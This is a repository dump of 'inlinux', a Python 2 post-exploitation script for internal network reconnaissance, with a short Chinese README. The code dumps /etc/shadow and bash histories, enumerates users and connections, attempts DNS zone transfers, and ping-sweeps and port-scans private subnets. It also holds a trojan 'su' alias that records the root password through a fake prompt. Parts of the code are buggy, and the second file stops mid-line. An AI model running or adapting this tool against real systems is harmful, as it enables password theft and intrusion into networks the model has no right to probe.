├── README.md ├── inlinux.py └── inlinuxV2.py /README.md: -------------------------------------------------------------------------------- 1 | # inlinux 2 | 内网渗透信息收集脚本 3 | -------------------------------------------------------------------------------- /inlinux.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding:utf-8 -*- 3 | import os 4 | import getpass 5 | import time 6 | import socket 7 | import re 8 | '''for portscan''' 9 | import threading 10 | from Queue import Queue 11 | import platform 12 | import types 13 | from subprocess import Popen, PIPE 14 | '''for dns''' 15 | import struct 16 | import sys 17 | 18 | 19 | 20 | __all__ = ['Thread', 'Threadpool', 'OK', 'FINISH', 'ERROR'] 21 | 22 | OK = 0x0 23 | FINISH = 0x1 24 | ERROR = 0x2 25 | 26 | class Thread(threading.Thread): 27 | "" 28 | def __init__(self, worker, task_queue, msg_queue, threadpool): 29 | super(Thread, self).__init__() 30 | self.worker = worker 31 | self.task_queue = task_queue 32 | self.threadpool = threadpool 33 | self.msg_queue = msg_queue 34 | 35 | def run(self): 36 | count = 0 37 | while True: 38 | self.threadpool.event.wait() 39 | if self.task_queue.empty(): 40 | self.threadpool.InActiveOne() 41 | break 42 | task = self.task_queue.get() 43 | try: 44 | ret = self.worker(task) 45 | self.msg_queue.put((task, ret)) 46 | if (not ret) and (ret[0] == FINISH): 47 | self.threadpool.clearQueue() 48 | except Exception as e: 49 | #print e 50 | #print task 51 | self.msg_queue.put((task, ERROR)) 52 | finally: 53 | self.task_queue.task_done() 54 | 55 | 56 | class Threadpool(object): 57 | "" 58 | def __init__(self, worker, max_threads=10, thread=Thread, 59 | queue=Queue, lock=threading.RLock()): 60 | self.worker = worker 61 | self.thread = thread 62 | self.event = threading.Event() 63 | self.lock = lock 64 | self.task_queue = queue() 65 | self.msg_queue = queue() 66 | self.max_threads = max_threads 67 | self.active_threads = 0 68 | 69 | self.start() 70 | 71 | def add(self, tasks): 72 | for task in tasks: 73 | self.task_queue.put(task) 74 | len_tasks = self.task_queue.qsize() 75 | 76 | self.lock.acquire() 77 | create_tasks = self.max_threads - self.active_threads 78 | if len_tasks < create_tasks: 79 | create_tasks = len_tasks 80 | for i in xrange(create_tasks): 81 | self.ActiveOne() 82 | self.lock.release() 83 | 84 | def ActiveOne(self): 85 | self.lock.acquire() 86 | t = self.thread(self.worker, self.task_queue, self.msg_queue, self) 87 | t.setDaemon(True) 88 | t.start() 89 | self.active_threads += 1 90 | self.lock.release() 91 | 92 | def InActiveOne(self): 93 | self.lock.acquire() 94 | self.active_threads -= 1 95 | self.lock.release() 96 | 97 | def status(self): 98 | return self.task_queue.qsize(), self.active_threads 99 | 100 | def join(self): 101 | self.task_queue.join() 102 | 103 | def printmsg(self): 104 | pass 105 | 106 | def clearQueue(self): 107 | self.stop() 108 | while True: 109 | if self.task_queue.empty(): 110 | break 111 | self.task_queue.get() 112 | self.task_queue.task_done() 113 | self.start() 114 | 115 | def start(self): 116 | self.event.set() 117 | 118 | def stop(self): 119 | self.event.clear() 120 | 121 | class InScaner: 122 | def __init__(self,domain): 123 | self.NUM = 200 124 | self._re_IP = r'\d+\.\d+\.\d+\.\d+' 125 | self._re_startwithIP = r'^\d+\.\d+\.\d+\.\d+.*' 126 | self._re_network = r'^\d+\.\d+\.\d+' 127 | self.re_ip = re.compile(self._re_IP) 128 | self.re_startwithIP = re.compile(self._re_startwithIP) 129 | self.re_network = re.compile(self._re_network) 130 | self.host_ip = socket.gethostbyname(socket.gethostname()) 131 | self.domain = domain 132 | self.path=os.getcwd() 133 | self.host_hostname = ''#os.popen('hostname').read() 134 | self.host_id = ''#os.popen('id').read() 135 | self.host_userlist=[] 136 | self.host_useronline='' 137 | self.host_last='' 138 | self.host_systemId = ''#os.popen('uname -a').read() 139 | self.host_systemversion = '' 140 | self.host_shadow = '' 141 | self.host_issue = '' 142 | self.host_bash_history = [] 143 | self.host_services = '' #未进行识别 144 | self.host_ESTABLISHEDlink = '' 145 | self.host_hackCmd = [] 146 | self.host_complie = [] 147 | 148 | self.dns=[] 149 | #self.dns=['58.83.193.214'] 150 | self.etc_hosts=[] 151 | self.ifconfig='' 152 | self.arp='' 153 | self.route='' 154 | self.inerwww='' 155 | self.internetout='' 156 | self.keyip=[] 157 | self.keyipmaybe=[] 158 | self.networkmaybe=[] 159 | self.network = []#192.168.1.0格式 160 | self.q = Queue() 161 | self.s = Queue() 162 | self.networkIPlistA = [] 163 | self.portlist = [21,22,23,25,53,80,81,139,443,445,1433,1521,3306,3398,5800,5900,5901,5902,6379,7001,7002,7070,8080,8081,8181,8888,9090,9200,27017,28018] 164 | self.networkIP_portOpen={} 165 | self.networkIP_weakPass={} 166 | 167 | def HostInfoGet(self): 168 | print u'###################获取主机信息####################' 169 | print u'#####本机IP地址####' 170 | print self.host_ip+'\n' 171 | 172 | _hostcmdList = [ 173 | 'hostname',#主机名 174 | 'id', #用户id 175 | ''' 176 | cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4}' 177 | ''', 178 | 'w', 179 | 'last', 180 | 'uname -a', 181 | 'cat /etc/issue', 182 | ] 183 | 184 | print u'#####获取主机名。。。#####' 185 | self.host_hostname = os.popen(_hostcmdList[0]).read() 186 | print self.host_hostname 187 | 188 | print u'#####获取当前用户及权限。。。#####' 189 | self.host_id = os.popen(_hostcmdList[1]).read() 190 | print self.host_id 191 | 192 | print u'#####获取用户列表及权限。。。#####' 193 | userlist = os.popen(_hostcmdList[2]).read() 194 | self.host_userlist = userlist.split('\n') 195 | print userlist 196 | 197 | print u'#####获取当前在线用户。。。#####' 198 | self.host_useronline = os.popen(_hostcmdList[3]).read() 199 | print self.host_useronline 200 | 201 | print u'#####用户登录历史信息。。。#####' 202 | self.host_last = os.popen(_hostcmdList[4]).read() 203 | print self.host_last 204 | 205 | print u'#####获取系统linux内核版本信息。。。#####' 206 | self.host_systemId = os.popen(_hostcmdList[5]).read() 207 | print self.host_systemId 208 | 209 | print u'#####获取系统发型版本信息。。。#####' 210 | self.host_systemversion = os.popen(_hostcmdList[6]).read() 211 | print self.host_systemversion 212 | 213 | print u'#####获取敏感主机配置文件。。。#####' 214 | 215 | _hostfileList = [ 216 | 'cat /etc/shadow', 217 | 'cat ~/.bash_history', 218 | 'cat /root/.bash_history' 219 | ] 220 | print u'#####尝试获取shadow文件。。。#####' 221 | self.host_shadow = os.popen(_hostfileList[0]).read() 222 | print self.host_shadow 223 | 224 | print u'#####获取bash_history文件#####' 225 | self.host_bash_history.append(os.popen(_hostfileList[1]).read()) 226 | self.host_bash_history.append(os.popen(_hostfileList[2]).read()) 227 | print u'###建议输出到文件里太多###' 228 | 229 | 230 | _servicecmdlist = [ 231 | 'netstat -antlp', 232 | ''' 233 | netstat -antlp | grep 'ESTABLISHED' 234 | ''' 235 | ] 236 | print u'#####系统运行服务及监听端口。。。#####' 237 | self.host_services = os.popen(_servicecmdlist[0]).read() 238 | print self.host_services 239 | 240 | print u'#####系统已建立网络连接信息。。。#####' 241 | self.host_ESTABLISHEDlink = os.popen(_servicecmdlist[1]).read() 242 | print self.host_ESTABLISHEDlink 243 | 244 | print u'#####常用命令列举。。。#####' 245 | _host_hackSoft = [ 246 | 'nmap', 247 | 'nc', 248 | 'netcat', 249 | 'wget', 250 | 'tcpdump', 251 | 'wireshark', 252 | 'rpm', 253 | 'yum', 254 | 'apt-get', 255 | 'ftp', 256 | 'ssh', 257 | 'telnet', 258 | 'scp', 259 | 'nslookup' 260 | ] 261 | 262 | for cmd in _host_hackSoft: 263 | typecmd = 'type '+cmd+' >/dev/null' 264 | try: 265 | out = os.system(typecmd) 266 | if 0 == out: 267 | self.host_hackCmd.append(cmd) 268 | print '%s is ok' % cmd 269 | except: 270 | print '%s is unused' % cmd 271 | print u'###################获取主机信息结束####################\n' 272 | 273 | def mgFileGet(self): 274 | print u'##########获取口令密码文件中。。。。。。##########' 275 | 276 | print 'PHP' 277 | 278 | print 'tomcat' 279 | 280 | 281 | print 'apache' 282 | 283 | print 'struts' 284 | 285 | print 'jboss' 286 | 287 | print 'weblogic' 288 | 289 | print 'ftp' 290 | 291 | print 'ssh' 292 | 293 | print 'vnc' 294 | 295 | print 'mysql' 296 | 297 | print 'oracle' 298 | 299 | print 'search' 300 | 301 | pass 302 | 303 | 304 | def NetworkInfoGet(self): 305 | print u'####################获取网络信息####################' 306 | _netfileListCat = [ 307 | 'cat /etc/hosts', 308 | 'cat /etc/resolv.conf', 309 | ] 310 | 311 | print u'######获取dns服务器IP地址...#####' 312 | self.dns = self.re_ip.findall(os.popen(_netfileListCat[1]).read()) 313 | for dns in self.dns: 314 | print dns 315 | 316 | print u'#####获取hosts列表。。。#####' 317 | hosts = os.popen(_netfileListCat[0]).read().split('\n') 318 | for host in hosts: 319 | #print host 320 | _host=self.re_startwithIP.findall(host) 321 | if _host!=[]: 322 | self.etc_hosts += _host 323 | for host in self.etc_hosts: 324 | print host 325 | 326 | _netcmdList = [ 327 | 'ifconfig -a', 328 | 'arp -a', 329 | 'route -n', 330 | 'ping %s -c 2' % self.domain, 331 | 'ping 114.114.114.114 -c 2' 332 | 333 | ] 334 | 335 | print u'#####主机网口信息及IP地址#####' 336 | self.ifconfig = os.popen(_netcmdList[0]).read() 337 | print self.ifconfig 338 | 339 | print u'#####主机arp列表#####' 340 | self.arp = os.popen(_netcmdList[1]).read() 341 | print self.arp 342 | 343 | print u'#####主机路由信息#####' 344 | self.route = os.popen(_netcmdList[2]).read() 345 | print self.route 346 | 347 | print u'#####内网域名解析测试#####' 348 | self.inerwww = os.popen(_netcmdList[3]).read() 349 | print self.inerwww 350 | 351 | print u'#####判断主机是否可外连互联网测试#####' 352 | self.internetout = os.popen(_netcmdList[4]).read() 353 | print self.internetout 354 | 355 | 356 | print u'#####DNS域传送漏洞测试...#####' 357 | if self.dns == []: 358 | print u"!!抱歉无法获取dns服务器IP地址!!" 359 | else: 360 | for dnsip in self.dns: 361 | print u'###dns %s 解析结果###' % dnsip 362 | try: 363 | self.GetDomainList(dnsip,self.domain) 364 | except: 365 | print u'##dns域传送漏洞利用失败##' 366 | #获取DNS域传送信息 367 | print u'#####内网存在网段统计#####' 368 | #先收集所有结果中的IP地址,去掉排除的ip地址后,把ip地址转换为网段,之后去重,最后保存 369 | ip = [] 370 | keyip = [] 371 | keyipmaybe =[] 372 | network = [] 373 | keynetwork = [] 374 | keynetworkmaybe = [] 375 | 376 | _ex_ip =[ 377 | '127.0.0.1', 378 | '0.0.0.0', 379 | '255.255.255.255', 380 | '255.255.255.0', 381 | '255.255.0.0', 382 | '255.0.0.0', 383 | '127.0.1.1', 384 | '8.8.8.8', 385 | '114.114.114.114' 386 | ] 387 | 388 | _iplistsearch = [ 389 | self.host_useronline, 390 | self.host_last, 391 | self.host_services, 392 | self.host_ESTABLISHEDlink, 393 | self.dns, 394 | self.etc_hosts, 395 | self.ifconfig, 396 | self.arp, 397 | self.route, 398 | self.inerwww 399 | ] 400 | 401 | _iplistsearchmaybe = [ 402 | self.host_bash_history 403 | ] 404 | 405 | 406 | 407 | 408 | for text in _iplistsearchmaybe: 409 | if type(text) == type('1'): 410 | ip+=self.__getIPinStr(text) 411 | elif type(text) == type(['1']): 412 | for text2 in text: 413 | ip+=self.__getIPinStr(text2) 414 | [keyipmaybe.append(ipnew) for ipnew in ip if ipnew not in (keyipmaybe+_ex_ip)]#ip地址处理 415 | self.keyipmaybe = keyipmaybe 416 | 417 | #变量中的IP并去重,去无效IP 418 | ip = [] 419 | for text in _iplistsearch: 420 | if type(text) == type('1'): 421 | ip+=self.__getIPinStr(text) 422 | elif type(text) == type(['1']): 423 | for text2 in text: 424 | ip+=self.__getIPinStr(text2) 425 | [keyip.append(ipnew) for ipnew in ip if ipnew not in (keyip+_ex_ip)]#ip地址处理 426 | #将IP地址转换为网段,并去重 427 | self.keyip = keyip 428 | 429 | _ex_network =[ 430 | '127.0.0.0' 431 | ] 432 | 433 | for netip in self.keyipmaybe: 434 | network.append(self.__ip2network(netip)) 435 | [keynetworkmaybe.append(net) for net in network if net not in keynetworkmaybe+_ex_network] 436 | 437 | network = [] 438 | for netip in self.keyip: 439 | network.append(self.__ip2network(netip)) 440 | [keynetwork.append(net) for net in network if net not in keynetwork+_ex_network] 441 | #筛选出私有IP地址 442 | _privatNet = [ 443 | '172', 444 | '192', 445 | '10' 446 | ] 447 | print u"可能存在内网IP网段如下:" 448 | for net in keynetworkmaybe: 449 | netsplit = net.split('.') 450 | if netsplit[0] in _privatNet: 451 | print net 452 | self.networkmaybe.append(net) 453 | 454 | print u"确定存在内网IP网段如下:" 455 | for net in keynetwork: 456 | netsplit = net.split('.') 457 | if netsplit[0] in _privatNet: 458 | print net 459 | self.network.append(net) 460 | 461 | 462 | def __ip2network(self,ip): 463 | return self.re_network.findall(ip)[0]+'.0' 464 | 465 | def __getIPinStr(self,string): 466 | ip = self.re_ip.findall(string) 467 | return ip 468 | 469 | __LEN_QUERY = 0 # Length of Query String 470 | def __gen_query(self,domain): 471 | import random 472 | TRANS_ID = random.randint(1, 65535) # random ID 473 | FLAGS = 0; QDCOUNT = 1; ANCOUNT = 0; NSCOUNT = 0; ARCOUNT = 0 474 | data = struct.pack( 475 | '!HHHHHH', 476 | TRANS_ID, FLAGS,QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT 477 | ) 478 | query = '' 479 | for label in domain.strip().split('.'): 480 | query += struct.pack('!B', len(label)) + label.lower() 481 | query += '\x00' # end of domain name 482 | data += query 483 | global __LEN_QUERY 484 | __LEN_QUERY = len(query) # length of query section 485 | q_type = 252 # Type AXFR = 252 486 | q_class = 1 # CLASS IN 487 | data += struct.pack('!HH', q_type, q_class) 488 | data = struct.pack('!H', len(data) ) + data # first 2 bytes should be length 489 | return data 490 | 491 | 492 | __OFFvSET = 0 # Response Data offset 493 | __TYPES = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA', 494 | 12: 'PTR', 15: 'MX', 16: 'TXT', 495 | 28: 'AAAA', 38: 'A6', 99: 'SPF',} 496 | 497 | def __decode(self,response): 498 | RCODE = struct.unpack('!H',response[2:4])[0] & 0b00001111 499 | if RCODE != 0: 500 | print 'Transfer Failed. %>_<%' 501 | sys.exit(-1) 502 | anwser_rrs = struct.unpack('!H', response[6:8] )[0] 503 | print '<< %d records in total >>' % anwser_rrs 504 | global __LEN_QUERY, __OFFSET 505 | __OFFSET = 12 + __LEN_QUERY + 4 # header = 12, type + class = 4 506 | while __OFFSET < len(response): 507 | name_offset = response[__OFFSET: __OFFSET + 2] # 2 bytes 508 | name_offset = struct.unpack('!H', name_offset)[0] 509 | if name_offset > 0b1100000000000000: 510 | name = self.__get_name(response, name_offset - 0b1100000000000000, True) 511 | else: 512 | name = self.__get_name(response, __OFFSET) 513 | type = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0] 514 | type = self.__TYPES.get(type, '') 515 | if type != 'A': print name.ljust(20), type.ljust(10) 516 | __OFFSET += 8 # type: 2 bytes, class: 2bytes, time to live: 4 bytes 517 | data_length = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0] 518 | if data_length == 4 and type == 'A': 519 | ip = [str(num) for num in struct.unpack('!BBBB', response[__OFFSET+2: __OFFSET+6] ) ] 520 | print name.ljust(20), type.ljust(10), '.'.join(ip) 521 | __OFFSET += 2 + data_length 522 | 523 | # is_pointer: an name offset or not 524 | def __get_name(self,response, name_offset, is_pointer=False): 525 | global __OFFSET 526 | labels = [] 527 | while True: 528 | num = struct.unpack('B', response[name_offset])[0] 529 | if num == 0 or num > 128: break # end with 0b00000000 or 0b1??????? 530 | labels.append( response[name_offset + 1: name_offset + 1 + num] ) 531 | name_offset += 1 + num 532 | if not is_pointer: __OFFSET += 1 + num 533 | name = '.'.join(labels) 534 | __OFFSET += 2 # 0x00 535 | return name 536 | 537 | def GetDomainList(self,dnsip,domain): 538 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 539 | s.connect( (dnsip, 53) ) 540 | data = self.__gen_query(domain) 541 | s.send(data) 542 | s.settimeout(2.0) # In case recv() blocked 543 | response = s.recv(4096) 544 | res_len = struct.unpack('!H', response[:2])[0] # Response Content Length 545 | while len(response) < res_len: 546 | response += s.recv(4096) 547 | s.close() 548 | self.__decode(response[2:]) 549 | 550 | def _ip2int(self,ip): 551 | return sum([256**j*int(i) for j,i in enumerate(ip.split('.')[::-1])]) 552 | 553 | def _int2ip(self,intip): 554 | return '.'.join([str(intip/(256**i)%256) for i in range(3,-1,-1)]) 555 | 556 | def __pingScan(self,ip): 557 | if platform.system() == 'Linux': 558 | p = Popen(['ping','-c 1',ip],stdout=PIPE) 559 | m = re.search('[1-9]+\sreceived', p.stdout.read()) 560 | if m: 561 | self.networkIPlistA.append(ip) 562 | if platform.system()=='Windows': 563 | p = Popen('ping -n 1 ' + ip, stdout=PIPE) 564 | m = re.search('TTL=', p.stdout.read()) 565 | if m: 566 | self.networkIPlistA.append(ip) 567 | 568 | return FINISH 569 | 570 | def __portScan(self,scan): 571 | portConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 572 | portConnect.settimeout(100) 573 | try: 574 | portConnect.connect((scan[0],scan[1])) 575 | portConnect.close() 576 | self.networkIP_portOpen[scan[0]] += str(scan[1]) + ',' 577 | #print self.networkIP_portOpen 578 | except Exception: 579 | print e 580 | 581 | def PortScan(self): 582 | print u'##########开始端口扫描.....#########' 583 | print u'###存活主机如下。。。###' 584 | if self.network == []: 585 | print u'!!!!IP列表为空,无法进行端口扫描!!!!!' 586 | else: 587 | #得到要ping的ip列表: 588 | _pinglist = [] 589 | for network in self.network: 590 | for i in range(1,255): 591 | _pinglist.append(self._int2ip(self._ip2int(network)+i)) 592 | 593 | #开始执行 594 | _th_num = len(_pinglist) 595 | pingT = Threadpool(self.__pingScan,200) 596 | pingT.add(_pinglist) 597 | pingT.join() 598 | 599 | #打印扫描存活IP列表结果,并给端口开发字典赋值 600 | for ip in self.networkIPlistA: 601 | self.networkIP_portOpen[ip]='' 602 | print ip 603 | 604 | print u'###端口扫描结果如下...###' 605 | _scanlist = [] 606 | for ip in self.networkIPlistA: 607 | for port in self.portlist: 608 | _scanlist.append([ip,port]) 609 | portT = Threadpool(self.__portScan,200) 610 | portT.add(_scanlist) 611 | portT.join() 612 | #print self.networkIP_portOpen 613 | #打印端口扫描结果: 614 | for ip in self.networkIPlistA: 615 | portlist = self.networkIP_portOpen[ip].split(',') 616 | #print portlist 617 | for port in portlist: 618 | if port != '': 619 | print '%s:%s' % (ip,port) 620 | #先ping,后直接进行TCP连接扫描 621 | print u'##########端口扫描结束。。。。。。##########' 622 | print u'####################网络信息获取结束####################\n' 623 | 624 | def PassScan(self,hostsIP,service,port,username,password): 625 | #支持ssh、telnet、ftp、mysql、oralce 626 | print u'##########弱口令扫描中。。。。。。##########' 627 | return 628 | 629 | def GetRootPass(self): #测试用用不知道好不好用 630 | _file = open('~/.bashrc','a') 631 | _file.write("alias su=\’%s+/root.py\'") % self.path 632 | _file.close() 633 | 634 | current_time = time.strftime("%Y-%m-%d %H:%M") 635 | _logfile="%s+.su.log" % self.path #密码获取后记录在这里 636 | #CentOS 637 | #fail_str = "su: incorrect password" 638 | #Ubuntu 639 | #fail_str = "su: Authentication failure" 640 | #For Linux Korea #centos,ubuntu,korea 切换root用户失败提示不一样 641 | fail_str = "su: incorrect password" 642 | try: 643 | passwd = getpass.getpass(prompt='Password: '); 644 | _file = open(_logfile,'a').write("[%s]t%s"%(passwd, current_time))#截取root密码 645 | _file.write('\n') 646 | _file.close() 647 | 648 | except: 649 | pass 650 | 651 | time.sleep(1) 652 | print fail_str #打印切换root失败提示 653 | pass 654 | 655 | def Runall(self): 656 | pass 657 | 658 | 659 | if __name__ == '__main__': 660 | domain = '' 661 | out=InScaner(domain) 662 | out.HostInfoGet() 663 | out.NetworkInfoGet() 664 | out.PortScan() 665 | print u'###########内网信息收集结束' 666 | -------------------------------------------------------------------------------- /inlinuxV2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding:utf-8 -*- 3 | import os 4 | import getpass 5 | import time 6 | import socket 7 | import re 8 | '''for portscan''' 9 | import threading 10 | from Queue import Queue 11 | import platform 12 | import types 13 | from subprocess import Popen, PIPE 14 | '''for dns''' 15 | import struct 16 | import sys 17 | 18 | 19 | 20 | __all__ = ['Thread', 'Threadpool', 'OK', 'FINISH', 'ERROR'] 21 | 22 | OK = 0x0 23 | FINISH = 0x1 24 | ERROR = 0x2 25 | 26 | class Thread(threading.Thread): 27 | "" 28 | def __init__(self, worker, task_queue, msg_queue, threadpool): 29 | super(Thread, self).__init__() 30 | self.worker = worker 31 | self.task_queue = task_queue 32 | self.threadpool = threadpool 33 | self.msg_queue = msg_queue 34 | 35 | def run(self): 36 | count = 0 37 | while True: 38 | self.threadpool.event.wait() 39 | if self.task_queue.empty(): 40 | self.threadpool.InActiveOne() 41 | break 42 | task = self.task_queue.get() 43 | try: 44 | ret = self.worker(task) 45 | self.msg_queue.put((task, ret)) 46 | if (not ret) and (ret[0] == FINISH): 47 | self.threadpool.clearQueue() 48 | except Exception as e: 49 | #print e 50 | #print task 51 | self.msg_queue.put((task, ERROR)) 52 | finally: 53 | self.task_queue.task_done() 54 | 55 | 56 | class Threadpool(object): 57 | "" 58 | def __init__(self, worker, max_threads=10, thread=Thread, 59 | queue=Queue, lock=threading.RLock()): 60 | self.worker = worker 61 | self.thread = thread 62 | self.event = threading.Event() 63 | self.lock = lock 64 | self.task_queue = queue() 65 | self.msg_queue = queue() 66 | self.max_threads = max_threads 67 | self.active_threads = 0 68 | 69 | self.start() 70 | 71 | def add(self, tasks): 72 | for task in tasks: 73 | self.task_queue.put(task) 74 | len_tasks = self.task_queue.qsize() 75 | 76 | self.lock.acquire() 77 | create_tasks = self.max_threads - self.active_threads 78 | if len_tasks < create_tasks: 79 | create_tasks = len_tasks 80 | for i in xrange(create_tasks): 81 | self.ActiveOne() 82 | self.lock.release() 83 | 84 | def ActiveOne(self): 85 | self.lock.acquire() 86 | t = self.thread(self.worker, self.task_queue, self.msg_queue, self) 87 | t.setDaemon(True) 88 | t.start() 89 | self.active_threads += 1 90 | self.lock.release() 91 | 92 | def InActiveOne(self): 93 | self.lock.acquire() 94 | self.active_threads -= 1 95 | self.lock.release() 96 | 97 | def status(self): 98 | return self.task_queue.qsize(), self.active_threads 99 | 100 | def join(self): 101 | self.task_queue.join() 102 | 103 | def printmsg(self): 104 | pass 105 | 106 | def clearQueue(self): 107 | self.stop() 108 | while True: 109 | if self.task_queue.empty(): 110 | break 111 | self.task_queue.get() 112 | self.task_queue.task_done() 113 | self.start() 114 | 115 | def start(self): 116 | self.event.set() 117 | 118 | def stop(self): 119 | self.event.clear() 120 | 121 | class InScaner: 122 | def __init__(self,domain): 123 | self.NUM = 200 124 | self._re_IP = r'\d+\.\d+\.\d+\.\d+' 125 | self._re_startwithIP = r'^\d+\.\d+\.\d+\.\d+.*' 126 | self._re_network = r'^\d+\.\d+\.\d+' 127 | self.re_ip = re.compile(self._re_IP) 128 | self.re_startwithIP = re.compile(self._re_startwithIP) 129 | self.re_network = re.compile(self._re_network) 130 | try: 131 | self.host_ip = socket.gethostbyname(socket.gethostname()) 132 | except: 133 | self.host_ip = '127.0.0.1' 134 | self.domain = domain 135 | self.path=os.getcwd() 136 | self.host_hostname = ''#os.popen('hostname').read() 137 | self.host_id = ''#os.popen('id').read() 138 | self.host_userlist=[] 139 | self.host_useronline='' 140 | self.host_last='' 141 | self.host_systemId = ''#os.popen('uname -a').read() 142 | self.host_systemversion = '' 143 | self.host_shadow = '' 144 | self.host_issue = '' 145 | self.host_bash_history = [] 146 | self.host_services = '' 147 | self.host_ESTABLISHEDlink = '' 148 | self.host_hackCmd = [] 149 | self.host_complie = [] 150 | 151 | self.dns=[] 152 | #self.dns=['58.83.193.214'] 153 | self.etc_hosts=[] 154 | self.ifconfig='' 155 | self.arp='' 156 | self.route='' 157 | self.inerwww='' 158 | self.internetout='' 159 | self.keyip=[] 160 | self.keyipmaybe=[] 161 | self.networkmaybe=[] 162 | self.network = []#192.168.1.0 163 | self.q = Queue() 164 | self.s = Queue() 165 | self.networkIPlistA = [] 166 | self.portlist = [21,22,23,25,53,80,81,139,443,445,1433,1521,3306,3398,5800,5900,5901,5902,6379,7001,7002,7070,8080,8081,8181,8888,9090,9200,27017,28018] 167 | self.networkIP_portOpen={} 168 | self.networkIP_weakPass={} 169 | 170 | def HostInfoGet(self): 171 | print u'###################host info####################' 172 | print u'#####host ip####' 173 | print self.host_ip+'\n' 174 | 175 | _hostcmdList = [ 176 | 'hostname',#主机名 177 | 'id', #用户id 178 | ''' 179 | cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4}' 180 | ''', 181 | 'w', 182 | 'last', 183 | 'uname -a', 184 | 'cat /etc/issue', 185 | ] 186 | 187 | print u'#####host name#####' 188 | self.host_hostname = os.popen(_hostcmdList[0]).read() 189 | print self.host_hostname 190 | 191 | print u'#####host id#####' 192 | self.host_id = os.popen(_hostcmdList[1]).read() 193 | print self.host_id 194 | 195 | print u'#####user list#####' 196 | userlist = os.popen(_hostcmdList[2]).read() 197 | self.host_userlist = userlist.split('\n') 198 | print userlist 199 | 200 | print u'#####user online#####' 201 | self.host_useronline = os.popen(_hostcmdList[3]).read() 202 | print self.host_useronline 203 | 204 | print u'#####login history#####' 205 | self.host_last = os.popen(_hostcmdList[4]).read() 206 | print self.host_last 207 | 208 | print u'#####linux ver#####' 209 | self.host_systemId = os.popen(_hostcmdList[5]).read() 210 | print self.host_systemId 211 | 212 | print u'#####issue info#####' 213 | self.host_systemversion = os.popen(_hostcmdList[6]).read() 214 | print self.host_systemversion 215 | 216 | print u'#####config info#####' 217 | 218 | _hostfileList = [ 219 | 'cat /etc/shadow', 220 | 'cat ~/.bash_history', 221 | 'cat /root/.bash_history' 222 | ] 223 | print u'#####try to get shadow#####' 224 | self.host_shadow = os.popen(_hostfileList[0]).read() 225 | print self.host_shadow 226 | 227 | print u'#####to get .bash_history#####' 228 | self.host_bash_history.append(os.popen(_hostfileList[1]).read()) 229 | self.host_bash_history.append(os.popen(_hostfileList[2]).read()) 230 | print u'###sugjest output into file###' 231 | 232 | 233 | _servicecmdlist = [ 234 | 'netstat -antlp', 235 | ''' 236 | netstat -antlp | grep 'ESTABLISHED' 237 | ''' 238 | ] 239 | print u'#####get listennig port and services#####' 240 | self.host_services = os.popen(_servicecmdlist[0]).read() 241 | print self.host_services 242 | 243 | print u'#####get Established network connection#####' 244 | self.host_ESTABLISHEDlink = os.popen(_servicecmdlist[1]).read() 245 | print self.host_ESTABLISHEDlink 246 | 247 | print u'#####list useable command#####' 248 | _host_hackSoft = [ 249 | 'nmap', 250 | 'nc', 251 | 'netcat', 252 | 'wget', 253 | 'tcpdump', 254 | 'wireshark', 255 | 'rpm', 256 | 'yum', 257 | 'apt-get', 258 | 'ftp', 259 | 'ssh', 260 | 'telnet', 261 | 'scp', 262 | 'nslookup' 263 | ] 264 | 265 | for cmd in _host_hackSoft: 266 | typecmd = 'type '+cmd+' >/dev/null' 267 | try: 268 | out = os.system(typecmd) 269 | if 0 == out: 270 | self.host_hackCmd.append(cmd) 271 | print '%s is ok' % cmd 272 | except: 273 | print '%s is unused' % cmd 274 | print u'###################get host info finished####################\n' 275 | 276 | def mgFileGet(self): 277 | print u'##########get password form file##########' 278 | 279 | print 'PHP' 280 | 281 | print 'tomcat' 282 | 283 | 284 | print 'apache' 285 | 286 | print 'struts' 287 | 288 | print 'jboss' 289 | 290 | print 'weblogic' 291 | 292 | print 'ftp' 293 | 294 | print 'ssh' 295 | 296 | print 'vnc' 297 | 298 | print 'mysql' 299 | 300 | print 'oracle' 301 | 302 | print 'search' 303 | 304 | pass 305 | 306 | 307 | def NetworkInfoGet(self): 308 | print u'####################get network info####################' 309 | _netfileListCat = [ 310 | 'cat /etc/hosts', 311 | 'cat /etc/resolv.conf', 312 | ] 313 | 314 | print u'######get dns ip#####' 315 | self.dns = self.re_ip.findall(os.popen(_netfileListCat[1]).read()) 316 | for dns in self.dns: 317 | print dns 318 | 319 | print u'#####get hosts list#####' 320 | hosts = os.popen(_netfileListCat[0]).read().split('\n') 321 | for host in hosts: 322 | #print host 323 | _host=self.re_startwithIP.findall(host) 324 | if _host!=[]: 325 | self.etc_hosts += _host 326 | for host in self.etc_hosts: 327 | print host 328 | 329 | _netcmdList = [ 330 | '/sbin/ifconfig -a', 331 | '/sbin/arp -n', 332 | '/sbin/route -n', 333 | 'ping %s -c 2' % self.domain, 334 | 'ping 114.114.114.114 -c 2' 335 | 336 | ] 337 | 338 | print u'#####get host interface and ip#####' 339 | self.ifconfig = os.popen(_netcmdList[0]).read() 340 | print self.ifconfig 341 | 342 | print u'#####get host arp list#####' 343 | self.arp = os.popen(_netcmdList[1]).read() 344 | print self.arp 345 | 346 | print u'#####get route#####' 347 | self.route = os.popen(_netcmdList[2]).read() 348 | print self.route 349 | 350 | print u'#####domain test#####' 351 | self.inerwww = os.popen(_netcmdList[3]).read() 352 | print self.inerwww 353 | 354 | print u'#####connect outside net test#####' 355 | self.internetout = os.popen(_netcmdList[4]).read() 356 | print self.internetout 357 | 358 | 359 | print u'#####DNS test#####' 360 | if self.dns == []: 361 | print u"!!sorry can't ip!!" 362 | else: 363 | for dnsip in self.dns: 364 | print u'###dns %s result###' % dnsip 365 | try: 366 | self.GetDomainList(dnsip,self.domain) 367 | except: 368 | print u'##dns test fail##' 369 | #获取DNS域传送信息 370 | print u'#####iner network exis#####' 371 | #先收集所有结果中的IP地址,去掉排除的ip地址后,把ip地址转换为网段,之后去重,最后保存 372 | ip = 